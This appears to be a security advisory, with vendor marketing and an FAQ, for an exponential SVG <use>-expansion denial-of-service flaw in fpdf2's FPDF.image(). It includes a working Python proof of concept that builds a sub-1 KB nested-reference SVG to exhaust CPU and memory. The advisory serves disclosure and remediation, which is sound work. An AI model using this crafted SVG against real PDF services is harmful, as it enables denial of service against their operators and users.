Summary
fpdf2: Exponential SVG '<use>' expansion causes CPU and memory exhaustion in 'FPDF.image()'
fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.
This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.
Details
The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.
When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():
pdf_group.add_item(self.cross_references[ref])
GraphicsContext.add_item() uses clone=True by default and deep-copies the object:
def add_item(self, item, clone=True):
if clone:
item = deepcopy(item)
self.path_items.append(item)
An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.
ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.
PoC
This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.
import resource
import time
from fpdf import FPDF
groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
uses = f'<use href="#g{level - 1}"/>' * 8
groups.append(f'<g id="g{level}">{uses}</g>')
svg = (
'<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
'<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()
pdf = FPDF()
pdf.add_page()
limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()
try:
pdf.image(svg, w=10)
except MemoryError:
elapsed = time.perf_counter() - started
max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")
payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB
Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.
Impact
This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.
The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2026-114610 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.8.8); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-114610? CVE-2026-114610 is a medium-severity uncontrolled resource consumption vulnerability in fpdf2 (pip), affecting versions >= 2.5.0, < 2.8.8. It is fixed in 2.8.8. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2026-114610? CVE-2026-114610 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of fpdf2 are affected by CVE-2026-114610? fpdf2 (pip) versions >= 2.5.0, < 2.8.8 is affected.
- Is there a fix for CVE-2026-114610? Yes. CVE-2026-114610 is fixed in 2.8.8. Upgrade to this version or later.
- Is CVE-2026-114610 exploitable, and should I be worried? Whether CVE-2026-114610 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-114610 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-114610? Upgrade
fpdf2to 2.8.8 or later.